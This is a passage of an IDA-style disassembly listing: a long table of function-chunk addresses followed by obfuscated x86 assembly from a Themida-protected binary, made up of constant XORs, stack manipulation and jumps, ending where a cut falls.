; FUNCTION CHUNK AT 00567330 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00567364 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005673F5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00567431 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00567443 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0056749B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00567523 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005682CD SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00568321 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568340 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056835E SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00568395 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568403 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00568442 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005684C0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005685CF SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0056862B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568662 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00568714 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005687BA SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005687E7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00568835 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00568900 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056893F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005689A2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005689B7 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00568A5B SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00568B38 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00568BAC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00568BF0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00568C03 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00568C9C SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00568CD9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00568D43 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568D56 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00568D7F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00568DB3 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00568E39 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00568E4D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00568E88 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00568EBA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00568EE0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568EF4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568F02 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00568F43 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00568F72 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056902B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056908D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005690C0 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 00569131 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00569155 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569177 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056922B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00569247 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00569267 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005692AA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056930E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056935A SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056938D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056952D SIZE 0000004B BYTES ; FUNCTION CHUNK AT 005695D1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00569666 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056967E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569690 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00569700 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056974B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056977A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005697BB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005697DB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056986D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056988B SIZE 0000005F BYTES ; FUNCTION CHUNK AT 005698F1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00569948 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056996E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056998F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00569A02 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00569ACF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00569B17 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00569B4D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00569B7A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00569B9E SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00569CC3 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00569D04 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00569D5A SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00569D92 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00569E56 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00569EA7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00569F23 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00569F48 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00569F75 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00569FCE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569FE5 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0056A07A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056A135 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A180 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A193 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056A1B7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056A203 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056A22D SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056A287 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A2E9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056A30C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A32F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056A360 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056A394 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0056A43C SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056A4F0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056A551 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056A56E SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056A5A2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056A643 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0056A6BE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056A6DD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A748 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056A788 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056A7D2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056A84E SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056A8D1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056A91F SIZE 00000074 BYTES ; FUNCTION CHUNK AT 0056A9D2 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056AA04 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056AA68 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056AAFD SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056AB79 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056ABCF SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056AC0B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056AC39 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056AD0F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056AD66 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0056ADA5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056ADF9 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056AE64 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056AE94 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056AEB8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056AEEB SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0056AF82 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056AFB2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056AFD4 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056B05B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B080 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B0EF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056B176 SIZE 00000055 BYTES ; FUNCTION CHUNK AT 0056B1DE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056B225 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056B250 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056B2C3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056B308 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056B31E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056B35C SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056B3F6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056B47E SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0056B4B3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056B508 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056B578 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056B5C3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056B6A0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056B79B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056B7C5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056B841 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056B862 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0056B8AA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056B913 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056B99D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056BA22 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056BA6B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056BACC SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056BB00 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056BB4B SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056BB93 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056BBD8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056BBFE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056BC2A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056BC46 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056BCBF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056BD10 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056BD42 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056BD64 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056BDC0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056BE30 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0056BE75 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056BF88 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056BFB0 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056C05E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056C07A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056C101 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056C122 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0056C175 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056C1EB SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056C293 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0056C2E8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056C3E3 SIZE 0000005E BYTES ; FUNCTION CHUNK AT 0056C4D8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056C4F0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056C50E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056C538 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056C58A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056C602 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056C633 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056C695 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056C6C2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056C74E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056C79D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056C7F7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056C810 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056C820 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056C884 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056C8CE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056C905 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056C925 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056C975 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056C9C3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056C9FB SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056CA22 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056CAF5 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056CB59 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056CBF0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056CC2D SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0056CC95 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056CD41 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056CD60 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056CE69 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056CF13 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056D039 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D073 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056D0AF SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056D17D SIZE 00000095 BYTES ; FUNCTION CHUNK AT 0056D22E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056D2C0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056D363 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056D376 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 0056D3F1 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056D4EF SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0056D56B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056D5C8 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056D617 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D63E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056D73E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D767 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D783 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056D7EC SIZE 00000039 BYTES ; FUNCTION CHUNK AT 0056D87B SIZE 0000003C BYTES ; FUNCTION CHUNK AT 0056D90C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056D9E3 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056DA18 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056DA47 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056DABB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056DAC7 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056DB58 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056DBA6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056DC07 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056DC36 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056DCA4 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056DD02 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056DD35 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056DD91 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056DDD2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056DE20 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056DE4A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056DE68 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056DED9 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056E024 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056E04E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056E0AD SIZE 00000045 BYTES ; FUNCTION CHUNK AT 0056E0F8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056E129 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056E155 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056E190 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0056E1D8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056E202 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056E227 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056E252 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056E27C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056E2B0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056E2DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056E358 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0056E3BB SIZE 0000004D BYTES ; FUNCTION CHUNK AT 0056E44E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056E4AC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056E4DA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056E529 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0056E53D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056E575 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056E601 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056E67C SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0056E6EB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056E71A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056E777 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0056E813 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056E844 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056E85C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056E8B6 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056E8F3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056E972 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0056E9B8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056EA18 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056EAC3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056EB09 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056EB95 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056EBBC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056EC0C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056EC34 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0056EC6B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056ECA2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056ECC8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056ED0B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056ED5B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056ED97 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056EE40 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0056EEC0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056EF12 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056EF9F SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056EFDC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056F043 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056F05E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056F097 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056F0E1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056F149 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056F1C0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056F1D8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F264 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F283 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056F2B9 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056F2F3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056F348 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056F3A3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056F3E4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056F429 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F499 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056F4F4 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0056F539 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056F5A8 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056F5CF SIZE 00000039 BYTES ; FUNCTION CHUNK AT 0056F647 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056F65D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056F6C2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056F6E4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F70F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056F731 SIZE 00000065 BYTES ; FUNCTION CHUNK AT 0056F79B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056F7B7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F802 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056F869 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056F87B SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0056F8CA SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056F90C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056F978 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056F9AC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056F9E1 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056FA4F SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0056FAE8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056FB61 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056FB85 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0056FC4E SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0056FCAE SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0056FD32 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056FD63 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056FDE5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056FE5F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056FF0A SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0056FF4A SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056FF9D SIZE 0000004B BYTES ; FUNCTION CHUNK AT 00570026 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005700F2 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00570160 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 005701A2 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005701D8 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00570218 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00570258 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00570284 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0057036B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005703B1 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005703F8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00570405 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0057048C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005704D7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00570530 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00570565 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057058A SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00570663 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005706D8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0057071F SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0057078E SIZE 00000026 BYTES sub esp, 4 mov [esp+10h+var_10], edx mov edx, 265B6083h jmp loc_56825A ; --------------------------------------------------------------------------- loc_56756A: ; CODE XREF: Themida_:0055E43Cj sub ecx, 5B1912C8h jmp loc_56B250 ; --------------------------------------------------------------------------- loc_567575: ; CODE XREF: Themida_:005626A5j pop edx xor cl, bh mov ebx, [esp+0Ch+var_C] jmp loc_563F88 ; --------------------------------------------------------------------------- loc_567580: ; CODE XREF: sub_55FDEF+2080j add esp, 4 xor ecx, 53A62C79h mov eax, ecx pop ecx xor eax, 71213420h add ebx, eax pop eax pop dword ptr [eax] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56759B: ; CODE XREF: Themida_:0056B426j xor ecx, 768C25A9h add ecx, 7C087F14h xor ecx, 0AF85E0B8h sub ebx, ecx jmp loc_56E8D0 ; --------------------------------------------------------------------------- loc_5675B4: ; CODE XREF: Themida_:0055FA5Dj push [esp-4+arg_0] pop edx push ecx mov ecx, esp jmp loc_562132 ; --------------------------------------------------------------------------- loc_5675C0: ; CODE XREF: sub_56C508+1j mov ebx, 479C4FD3h mov edi, ebx push dword ptr [esp+0] pop ebx add esp, 4 add edi, 1 push ecx push ebx jmp loc_56FF19 ; --------------------------------------------------------------------------- loc_5675DE: ; CODE XREF: sub_56755A+1DB8j sub edi, 0F7E1C14h push edi xchg esi, [esp+8+var_8] not esi jmp loc_56E2B0 ; --------------------------------------------------------------------------- loc_5675EF: ; CODE XREF: sub_56CB7D-2853j xor edx, [esp+8+var_8] jmp loc_567C6C ; --------------------------------------------------------------------------- loc_5675F7: ; CODE XREF: Themida_:0055BCC0j mov ebp, 760EC63Ah xor edx, ebp pop ebp xor eax, edx jmp loc_56F731 ; --------------------------------------------------------------------------- loc_567606: ; CODE XREF: sub_56755A+72EBj pop ecx add ecx, 4 push ebp jmp loc_569BBE ; --------------------------------------------------------------------------- loc_567613: ; CODE XREF: Themida_:0056DAB6j sub esi, edi pop edi add esi, ebp add esi, 5D6872A5h mov ebp, [esp+0] sub esp, 4 mov [esp+4+var_4], eax push esp pop eax add eax, 4 add eax, 4 xor eax, [esp+4+var_4] xor [esp+4+var_4], eax xor eax, [esp+4+var_4] pop esp xchg esi, [esp+0] jmp loc_56F264 ; --------------------------------------------------------------------------- loc_567646: ; CODE XREF: sub_56755A+5CB3j shl eax, 7 sub eax, 0B5070799h or ecx, eax pop eax add ecx, 0D3526457h sub ebp, 39365F86h sub ebp, ecx add ebp, 39365F86h pop ecx pop eax xchg ebp, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] shr byte ptr [esp-0Ch+arg_8], cl pushf jmp loc_560B53 ; --------------------------------------------------------------------------- loc_567676: ; CODE XREF: sub_56755A-3BC0j push edi mov edi, esp jmp loc_562AA0 ; --------------------------------------------------------------------------- loc_56767E: ; CODE XREF: sub_565C92+A6Cj push 7945h mov [esp+22h+var_24+2], edx mov edx, 4E125A7Ah push eax mov eax, 6FF21D0Bh jmp loc_56D376 ; --------------------------------------------------------------------------- loc_567696: ; CODE XREF: Themida_:0055C66Fj mov ebp, 78904305h add ebx, ebp jmp loc_562408 ; --------------------------------------------------------------------------- loc_5676A2: ; CODE XREF: Themida_:0055C781j xor esi, 7BFC09B5h add ecx, esi jmp loc_5635BA ; --------------------------------------------------------------------------- loc_5676AF: ; CODE XREF: Themida_:00561132j add dh, 0D0h jmp loc_5649E9 ; --------------------------------------------------------------------------- loc_5676B7: ; CODE XREF: sub_56755A-A013j mov esi, 398C7F91h mov ebx, 13F01E84h jmp loc_55FC53 ; --------------------------------------------------------------------------- loc_5676C6: ; CODE XREF: sub_56532B-636Ej add eax, esi jmp 